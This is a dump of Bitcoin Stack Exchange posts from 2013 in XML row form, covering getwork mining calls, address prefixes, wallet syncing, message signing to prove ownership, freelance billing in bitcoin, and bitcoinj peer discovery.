  <row Id="13176" PostTypeId="1" AcceptedAnswerId="13182" CreationDate="2013-09-07T16:42:00.290" Score="2" ViewCount="329" Body="&lt;p&gt;I'm a novice to bitcoin trying to learn mining. I know that in order to get the value (header) to hash, you call Getwork. I have seen the bitcoin wiki page for it and read some relevant threads on different forums. What I want want to know is what is required before one can make a call to Getwork? Specifically the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What URL to call with what parameters?&lt;/li&gt;&#xA;&lt;li&gt;I understand it is a REST call. Can you confirm this is so?&lt;/li&gt;&#xA;&lt;li&gt;Do you need to be registered before being able to make the call?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please post any relevant links that might help.&lt;/p&gt;&#xA;" OwnerUserId="6647" LastEditorUserId="5406" LastEditDate="2016-03-31T17:17:34.080" LastActivityDate="2016-03-31T17:17:34.080" Title="Pre-requisites for calling Getwork" Tags="|api|json-rpc|miner-configuration|getwork|stratum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13177" PostTypeId="2" ParentId="13174" CreationDate="2013-09-07T17:01:22.603" Score="3" Body="&lt;p&gt;1 and 3 are currently the only defined prefixes for an base58 encoded address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 is most common and denotes a simple &quot;pay-to-PubKey&quot; transaction. This transaction shows an actual recipient address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 indicates a &quot;pay-to-script-hash&quot; address that contains a hash (one way fingerprint) of a script that can be used for multiple things including address obfuscation and multi-signature requirements. This script is required to be a valid bitcoin transaction script, but the full script behind the scenes is not public, just the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information here:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0016&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/BIP_0016&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on the base58 implementation used:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Base58Check_encoding&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5875" LastEditorUserId="5875" LastEditDate="2013-09-07T17:09:30.583" LastActivityDate="2013-09-07T17:09:30.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13178" PostTypeId="2" ParentId="13175" CreationDate="2013-09-07T17:34:55.850" Score="1" Body="&lt;p&gt;I guess, you have a so called &lt;a href=&quot;https://en.bitcoin.it/wiki/Browser-based_wallet&quot; rel=&quot;nofollow&quot;&gt;browser-based wallet&lt;/a&gt; at bitcoin.de. You should be able to send bitcoins from this wallet to your Bitcoin-QT wallet. To do this, copy-paste one of your bitcoin-addresses from Bitcoin-QT (you can generate as many as you want) to the transaction form on bitcoin.de Then, if Bitcoin-QT is fully synced with the network, you should see your Bitcoins there after a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy something online is similar: The shop/site/whatever gives you a Bitcoin address. Copy-paste it to Bitcoin-QT (or to any other wallet) and send the appropriate amount.&lt;/p&gt;&#xA;" OwnerUserId="4564" LastActivityDate="2013-09-07T17:34:55.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13179" PostTypeId="2" ParentId="13175" CreationDate="2013-09-07T17:38:02.207" Score="2" Body="&lt;p&gt;First thing, encrypt the wallet with a good passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will want to go to the receive tab in Bitcoin-QT,  and create a new receiving address for yourself. You may want to create a new address for every transaction for anonymity purposes. Copy the address to your clipboard and then go to bitcoin.de, and send the coins from your account to that address.  It may take an hour or so for the transaction to complete so just leave the client running and be patient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HINT:&lt;/strong&gt; Be sure that bitcoin-qt is finished syncing with the blockchain before you send yourself the coins or you may not be able to accesss your coins  for the 24-48+ hours this process can initially take!  If you need it faster, might want to temporarily use either electrum or blockchain.info wallet until the client is completely synced.&lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="59371" LastEditDate="2017-09-07T17:51:29.893" LastActivityDate="2017-09-07T17:51:29.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13181" PostTypeId="1" CreationDate="2013-09-07T21:30:36.650" Score="5" ViewCount="1450" Body="&lt;p&gt;I saw a youtube video about bitcoin wallet and he said you can't see your bitcoin or send or receive until the bitcoin-qt download all the blocks.&lt;/p&gt;&#xA;" OwnerUserId="6676" LastEditorUserId="6375" LastEditDate="2013-09-11T14:07:19.653" LastActivityDate="2013-09-14T14:16:07.187" Title="Do I have to download all blocks to see my bitcoin using bitcoin-qt?" Tags="|blockchain|wallet|block|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13182" PostTypeId="2" ParentId="13176" CreationDate="2013-09-07T21:49:03.193" Score="3" Body="&lt;p&gt;Most miners now use Stratum, but the old getwork protocol isn't completely gone yet.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The URL is the root path (/) of the server usually at port 8332, for instance &lt;a href=&quot;http://mint.bitminter.com:8332&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mint.bitminter.com:8332&lt;/a&gt;. You can see what the data looks like here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3168/how-can-i-code-a-bitcoin-json-rpc-getwork-request-in-java&quot;&gt;How can I code a Bitcoin JSON-RPC &amp;quot;getwork&amp;quot; request in Java?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No, this is JSON-RPC. It's an RPC-style interface, which is more or less the opposite philosophy to REST. It's not even a good RPC design as the same procedure &quot;getwork&quot; is used both for getting work and for returning work results.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;HTTP Basic Auth is used for authentication. If you are talking to bitcoind you put the user name and password in the config file. If you are talking to a pool you register at the pool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is some info about getwork and its various extensions at &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Getwork&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-09-07T21:49:03.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13183" PostTypeId="2" ParentId="13181" CreationDate="2013-09-07T23:28:09.207" Score="3" Body="&lt;p&gt;In order for your client to show your bitcoins, you'll at least have to download and process up to the block that validated the transaction with which your money was sent to you. (The client can't show you, what it doesn't know about.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-QT will allow you to send bitcoins after that, even when it is not synchronized completely yet. Since likely your funds have only been sent to you in the near past, you will have to download almost the complete chain to reach that stage.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-09-10T03:24:06.847" LastActivityDate="2013-09-10T03:24:06.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13184" PostTypeId="2" ParentId="13174" CreationDate="2013-09-08T05:58:27.697" Score="8" Body="&lt;p&gt;According to the &lt;a href=&quot;https://github.com/oleganza/CoreBitcoin/blob/master/GLOSSARY.md&quot;&gt;glossary&lt;/a&gt; &#xA;the possible prefixes for bitcoin addresses are 1,3 or 5:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quoting here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Address&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bitcoin address is a Base58Check representation of a Hash160 of a&#xA;  public key with a version byte 0x00 which maps to a prefix &quot;1&quot;.&#xA;  Typically represented as text (ex. 1CBtcGivXmHQ8ZqdPgeMfcpQNJrqTrSAcG)&#xA;  or as a QR code.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A variant of an address is P2SH address: a hash of a spending script&#xA;  with a version byte 0x05 which maps to a prefix &quot;3&quot; (ex.&#xA;  3NukJ6fYZJ5Kk8bPjycAnruZkE5Q7UW7i8).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Another variant of an address is not a hash, but a raw private key&#xA;  representation (e.g.&#xA;  5KQntKuhYWSRXNqp2yhdXzjekYAR7US3MT1715Mbv5CyUKV6hVe). It is rarely&#xA;  used, only for importing/exporting private keys or printing them on&#xA;  paper wallets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2013-09-08T05:58:27.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13185" PostTypeId="1" AcceptedAnswerId="13186" CreationDate="2013-09-08T06:54:17.750" Score="10" ViewCount="1590" Body="&lt;p&gt;I could think of several situations, especially in large purchase negotiations, where one party would like to know that the money is under the control of the other party before continuing with the costs of further negotiation and due diligence (e.g. $5k in a house closing).&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2017-06-09T21:53:17.110" Title="Is is possible to prove you possess an amount of BTC without actually spending it?" Tags="|wallet|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13186" PostTypeId="2" ParentId="13185" CreationDate="2013-09-08T07:01:31.463" Score="10" Body="&lt;p&gt;You can sign any text with the private key you own and anyone can verify that with a public key associated with a given Bitcoin address. As long as you make the message relevant to the conversation, say &quot;This is LethalFractal, at 2013-09-07, I claim ownership of address 1234567890... as a proof for negotiations with John Smith&quot;, the person can know that it is in fact you owning a given address, and since they can check the balance of that address, you will have proven that you have access to that money.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-09-08T07:01:31.463" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13188" PostTypeId="1" AcceptedAnswerId="13193" CreationDate="2013-09-08T17:55:15.283" Score="-4" ViewCount="1506" Body="&lt;p&gt;I am panning to build an android app for my college cafeteria where student can buy coffee using bitcoin and the can recharge the bitcoin through some source(from college bank).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please give me some idea how to implement this app. And is there any good tutorial related to this topic.&lt;/p&gt;&#xA;" OwnerUserId="6682" LastActivityDate="2013-09-09T09:41:49.123" Title="bitcoin for my android app" Tags="|client|android|website-integration|" AnswerCount="1" CommentCount="2" ClosedDate="2013-10-11T18:40:01.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="13190" PostTypeId="2" ParentId="13165" CreationDate="2013-09-08T20:52:19.833" Score="20" Body="&lt;p&gt;EDIT: As of 0.16.0, use &lt;code&gt;getnetworkinfo&lt;/code&gt; to get the version of bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;getnetworkinfo: version, protocolversion, timeoffset, connections, proxy, relayfee, warnings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Send a &lt;code&gt;getinfo&lt;/code&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;noreferrer&quot;&gt;command&lt;/a&gt; to the server. It shows the version of bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;version&quot;: 80400,&#xA;  &quot;protocolversion&quot;: 70001,&#xA;  &quot;walletversion&quot;: 60000,&#xA;  &quot;balance&quot;: 102.2899977,&#xA;  &quot;blocks&quot;: 104358,&#xA;  &quot;timeoffset&quot;: 1,&#xA;  &quot;connections&quot;: 15,&#xA;  &quot;proxy&quot;: &quot;&quot;,&#xA;  &quot;difficulty&quot;: 1.0,&#xA;  &quot;testnet&quot;: true,&#xA;  &quot;keypoololdest&quot;: 1372886245,&#xA;  &quot;keypoolsize&quot;: 101,&#xA;  &quot;paytxfee&quot;: 0.0,&#xA;  &quot;errors&quot;: &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="323" LastEditorUserId="60822" LastEditDate="2018-06-30T16:33:58.713" LastActivityDate="2018-06-30T16:33:58.713" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="13191" PostTypeId="2" ParentId="10402" CreationDate="2013-09-09T02:50:05.163" Score="0" Body="&lt;p&gt;In the US, I've read of two banks that have had involvement with Bitcoin exchanges - IAFCU and Silicon Valley Bank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, there have been some recent reported issues - &lt;a href=&quot;http://www.coindesk.com/tradehill-halts-trading-due-to-iafcu-operational-and-regulatory-issues/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/tradehill-halts-trading-due-to-iafcu-operational-and-regulatory-issues/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of any other US banks that are Bitcoin friendly?&lt;/p&gt;&#xA;" OwnerUserId="6673" LastActivityDate="2013-09-09T02:50:05.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13192" PostTypeId="2" ParentId="12108" CreationDate="2013-09-09T09:08:49.610" Score="2" Body="&lt;p&gt;At the technical level - &lt;strong&gt;No&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit card charge-backs work because the credit networks such as VISA and MasterCard (and participating banks) are giant clearing houses or multilateral bank arrangements to that effect. Anyone with an ongoing relationship with a bank essentially agrees to having money removed from their account or frozen in the case of a dispute or other funny business. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is difficult to enforce with bitcoin addresses, if those addresses avoid the more centralised parts of the bitcoin ecology (currency exchanges, escrows, off-block payment gateways) that are more motivated to trace, penalise and report theft and fraud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Bitcoin insurance&lt;/em&gt; may become a popular way to mitigate against theft or fraud. This should actually be quite easy for insurance companies to calculate actuarial tables and premiums for; as the global transaction log for this currency is entirely visible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Escrow&lt;/em&gt; is a common option for &quot;reversible&quot; transactions but only because the atomic irreversible bitcoin transactions are split into two separate transactions: One to the escrow and one from the escrow - assuming the escrow service is more trustworthy than the original buyer/seller arrangement... Escrow can provide a potential reversible service for fraud but would be pretty useless against theft.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A &lt;em&gt;bounty arrangement&lt;/em&gt; might be viable. As actually offloading the bitcoins to a fiat currency is hard to hide (unless your mixer service provides pools of large volume and uniform dispatch interval); offering a bounty or amnesty of &lt;em&gt;X%&lt;/em&gt; of the stolen money might result in the thief returning it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-09-09T09:08:49.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13193" PostTypeId="2" ParentId="13188" CreationDate="2013-09-09T09:41:49.123" Score="2" Body="&lt;p&gt;If you really want to create a custom bitcoin application, forking from an existing app should reduce reinventing the wheel and can act as a learning resource. For example, here are two open-source Android bitcoin apps whose source you could grab:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/bitcoin-wallet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://code.google.com/p/bitcoin-wallet/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/bitcoinspinner/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://code.google.com/p/bitcoinspinner/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The simplest solution that would serve a &lt;code&gt;bank=&amp;gt;bitcoin=&amp;gt;coffee&lt;/code&gt; arrangement would be only implementing a &lt;code&gt;bitcoin=&amp;gt;coffee&lt;/code&gt; app for students; and a &lt;code&gt;bitcoin=&amp;gt;coffee&lt;/code&gt; notification app for the cafe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save yourself the headache of handling fiat money in the app by either leaving the conversion of fiat currency to other more generic unbranded Android bitcoin apps or integrating an existing bitcoin provider into the app (e.g. Coinbase).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that Android is &lt;em&gt;not a particularly secure platform&lt;/em&gt; for bitcoin wallets - this is simply because Android by-design allows users to have true control over their phone; but most users will never lock down their phone and apply security hygiene to the necessary extent*. If you go forward with this, the main &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt; site could also prove useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;* Apple users shouldn't feel too smug :-) iPhone are locked down for monopoly control. User security is a convenient side-effect.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="6679" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-09-09T09:41:49.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13194" PostTypeId="2" ParentId="748" CreationDate="2013-09-09T09:53:45.793" Score="4" Body="&lt;p&gt;Try &lt;a href=&quot;http://www.quandl.com/&quot; rel=&quot;nofollow&quot;&gt;quandl&lt;/a&gt;!&#xA;and search for &quot;bitcoin&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&#xA;&lt;a href=&quot;http://www.quandl.com/BITCOIN-Bitcoin-Charts/MTGOXUSD-Bitcoin-Markets-mtgoxUSD&quot; rel=&quot;nofollow&quot;&gt;http://www.quandl.com/BITCOIN-Bitcoin-Charts/MTGOXUSD-Bitcoin-Markets-mtgoxUSD&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2013-09-09T09:53:45.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13195" PostTypeId="1" AcceptedAnswerId="13197" CreationDate="2013-09-09T10:15:43.650" Score="7" ViewCount="303" Body="&lt;p&gt;I do freelance work and I was considering offering my customers the option of paying me in Bitcoin. Given that bills are usually paid in 2 - 4 weeks after sending them, and the exchange is still quite volatile, how could I do this? Can I do anything more than just write on the bill &quot;please contact me to arrange a payment in Bitcoin&quot; ? Has anyone done this successfully?&lt;/p&gt;&#xA;" OwnerUserId="6694" LastActivityDate="2016-07-09T07:33:17.900" Title="Freelancer: billing my customers in bitcoin" Tags="|exchange-rate|commerce|business|spending|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13196" PostTypeId="2" ParentId="8196" CreationDate="2013-09-09T10:44:26.210" Score="1" Body="&lt;p&gt;&lt;strong&gt;Is this regarding a pricing model now or 10 years from now?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is less than 5 years old and has progressed through several stages already; some of which contemporary economists have never seen in the wild before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As people still consider the most relevant &quot;price&quot; of a bitcoin to be its external exchange rate value against a fiat currency; I don't think that the supply and demand aspect can be entirely ignored. Especially if the pricing of bitcoins is not hermetic to mining output but also involves its purchasing power in other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The supply aspect can't be entirely reduced to the release schedule and energy consumption of newly minted blocks; as there is a dead pool of many many early blocks. Any change in the hoarding habits of these bitcoin owners (if private keys haven't been lost) will distort the mining rate/pricing calculations. Even whether miners choose to mine at a given rate depends on their ability to recoup hardware and electricity costs in US/EUD/CNY/etc currency; as ASIC fabricators and energy companies won't accept bitcoins directly until local exchange liquidity is extremely high (too many downstream vendors for these industries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The demand is influenced, whether we acknowledge it or not, by speculators and illegal drug transactions as bitcoin still lacks the scale and merchant acceptance to compete with popular fiat currencies. If bitcoin survives long enough then both speculators and illegal merchants will be flushed out of the currency, by volume if nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I suggest people should be careful in applying elaborate derivatives on a young and volatile market - even though the volatility makes these derivatives tempting.&lt;/strong&gt; The inherent assumptions and the uncontrolled independent variables of such mathematical models essentially result in information being lost about the true past and future behaviour of the market and the actors in that market. The GFC occurred in part because information about risk was accidentally or deliberately lost. Very large and long-term  pre-existing markets can handle the inaccuracies of these models because &lt;a href=&quot;http://en.wikipedia.org/wiki/Retrospective_determinism&quot; rel=&quot;nofollow&quot;&gt;the models fit the market instead of the other way around&lt;/a&gt;. Although sometimes Goldman Sachs can sell an instrument so widely as to warp the market towards the model.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-09-09T10:44:26.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13197" PostTypeId="2" ParentId="13195" CreationDate="2013-09-09T11:13:01.140" Score="5" Body="&lt;p&gt;In practice your invoice fee should be cited in the most stable and liquid of the currencies you support. Typically your national currency since you live with it anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contract would then stipulate that if the client pays in another currency that the amount that the client must pay is the going rate to &lt;strong&gt;&lt;em&gt;sell&lt;/em&gt;&lt;/strong&gt; that currency back into the primary contractual currency at the time of payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client, if they don't have enough bitcoins at time of payment, may care more about the &lt;em&gt;buy/bid&lt;/em&gt; exchange rate. But you care much more about the value of your work in the most stable and liquid currency, hence the &lt;em&gt;sell/ask&lt;/em&gt; exchange rate at time of payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contract stipulates a payment of $100 USD&lt;/li&gt;&#xA;&lt;li&gt;Contract stipulates that payment in bitcoin is the amount of bitcoins if sold at the weighted global average at the time of transfer would be equivalent to $100 USD; rounded to the nearest desired fraction of a bitcoin (e.g. 0.001 BTC).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should completely resolve currency volatility between the time of invoice and payment. I'm sure most modern bitcoin payment gateways auto-convert currency exchange rates, so the logistical burden to a client should be minor.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-09-09T11:13:01.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13199" PostTypeId="1" AcceptedAnswerId="30708" CreationDate="2013-09-09T12:54:08.717" Score="4" ViewCount="2623" Body="&lt;p&gt;When you create an account, you are given a mnemonic seed that you have to write down. It's supposed to be used for recovering your coins if you lose access to your account (I think that's what it said when I created one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I'm &lt;a href=&quot;https://blockchain.info/wallet/technical-faq&quot; rel=&quot;nofollow&quot;&gt;reading&lt;/a&gt; that the wallets are non-deterministic. So what's the mnemonic for then?&lt;/p&gt;&#xA;" OwnerUserId="5068" LastActivityDate="2014-09-29T03:18:58.137" Title="What's the mnemonic seed for in Blockchain.info, if they use non-deterministic wallets?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13201" PostTypeId="1" CreationDate="2013-09-09T14:58:31.580" Score="0" ViewCount="165" Body="&lt;p&gt;So I have setup &lt;code&gt;bitcoind -daemon&lt;/code&gt; on a server. On plain HTTP, I can connect to the server from my machine and start mining with &lt;code&gt;poclbm.py&lt;/code&gt; (at a slow rate but I am preparing my environment before upgrading H/W)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have created the self-signed certificate successfully, and from a remote machine I can get the SSL certificate validation using &lt;code&gt;openssl s_client&lt;/code&gt; command. I had trouble with the &lt;code&gt;openssl s_client&lt;/code&gt; command when not including the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcsslciphers=TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;part in the conf, but after adding it it as ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then added option &lt;code&gt;rpcssl=1&lt;/code&gt; in bitcoin.conf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I get a &lt;code&gt;Failure to subscribe&lt;/code&gt; followed by &lt;code&gt;IO errors - 1, tolerance 2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else to check? Running &lt;code&gt;poclbm&lt;/code&gt; with &lt;code&gt;-verbose&lt;/code&gt; doesn't show more output.&lt;/p&gt;&#xA;" OwnerUserId="6688" LastActivityDate="2014-09-06T06:36:08.233" Title="&quot;Failed to subscribe&quot; - poclbm over SSL - Ubuntu" Tags="|ubuntu|poclbm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13203" PostTypeId="2" ParentId="13181" CreationDate="2013-09-09T15:59:41.690" Score="0" Body="&lt;p&gt;Only if you use a client that downloads all the blocks.  Multibit and some others don't.  Also, you can check your balance on sites like blockchain.info (though you're putting your faith in their honest reporting).&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-09-09T15:59:41.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13209" PostTypeId="2" ParentId="13156" CreationDate="2013-09-09T20:00:09.613" Score="3" Body="&lt;p&gt;Ripple uses the same signature scheme as Bitcoin, 256-bit ECDSA keys and elliptic curve SECP256k1. It takes about 5 times more CPU effort to verify a 512-bit ECDSA signature than a 256-bit ECDSA signature and signature verification is a &lt;em&gt;huge&lt;/em&gt; CPU load for both Bitcoin and Ripple. And, of course, keys and signatures are twice as long.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-09-09T20:13:44.597" LastActivityDate="2013-09-09T20:13:44.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13210" PostTypeId="1" CreationDate="2013-09-09T20:13:53.753" Score="2" ViewCount="204" Body="&lt;p&gt;First look in screenshot number one of davlik debug monitor server after running Bitcoin Wallet: &lt;a href=&quot;http://piccy.info/view3/5090102/7074a1d99a96e67bdbea36a04073c21f/orig/&quot; rel=&quot;nofollow&quot;&gt;http://piccy.info/view3/5090102/7074a1d99a96e67bdbea36a04073c21f/orig/&lt;/a&gt;&#xA;I suppose, that is normal work of Bitcoin Wallet.&#xA;Then I modified bitcoinj and bitcoin-wallet a little bit. I changed bitcoinj\core\src\main\java\com\google\bitcoin\kits\WalletAppKit.java (line 104):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vPeerGroup.addPeerDiscovery(new SeedPeers(params));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vPeerGroup.addPeerDiscovery(new DnsDiscovery(params));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and bitcoin-wallet\wallet\src\de\schildbach\wallet\service\BlockchainServiceImpl.java (line 406):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private final PeerDiscovery normalPeerDiscovery = new SeedPeers(Constants.NETWORK_PARAMETERS);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private final PeerDiscovery normalPeerDiscovery = new DnsDiscovery(Constants.NETWORK_PARAMETERS);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look in screenshot number two of davlik debug monitor server after running Bitcoin Wallet to see the result: &lt;a href=&quot;http://piccy.info/view3/5090104/aaf257fbd618863b16ed99ffb2263e66/orig/&quot; rel=&quot;nofollow&quot;&gt;http://piccy.info/view3/5090104/aaf257fbd618863b16ed99ffb2263e66/orig/&lt;/a&gt;&#xA;I think, that is not normal work of app because you can see only &quot;Peer died&quot; and &quot;Connection timed out&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: does class SeedPeers work correct? Maybe, it is not fully implemented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Nonetheless, it could still work correct. I just don't have an opportunity to send or receive bitcoins to test Bitcoin Wallet with &quot;SeedPeers&quot; class instead &quot;DnsDiscovery&quot; class. So if you can do that, please do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.S. I'm not sure it is bitcoinj or Bitcoin Wallet problem.&lt;/p&gt;&#xA;" OwnerUserId="6627" LastEditorUserId="6627" LastEditDate="2013-09-10T15:24:10.520" LastActivityDate="2013-09-10T15:24:10.520" Title="DnsDiscovery vs SeedPeers in bitcoinj" Tags="|bitcoinj|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13211" PostTypeId="2" ParentId="13195" CreationDate="2013-09-09T20:32:24.610" Score="1" Body="&lt;p&gt;The contract language to use is along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$N converted to bitcoins using the prevailing exchange rate [obtained&#xA;  from source, such as 24 hour weighted average] on the date that&#xA;  payment is made.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-09T20:32:24.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
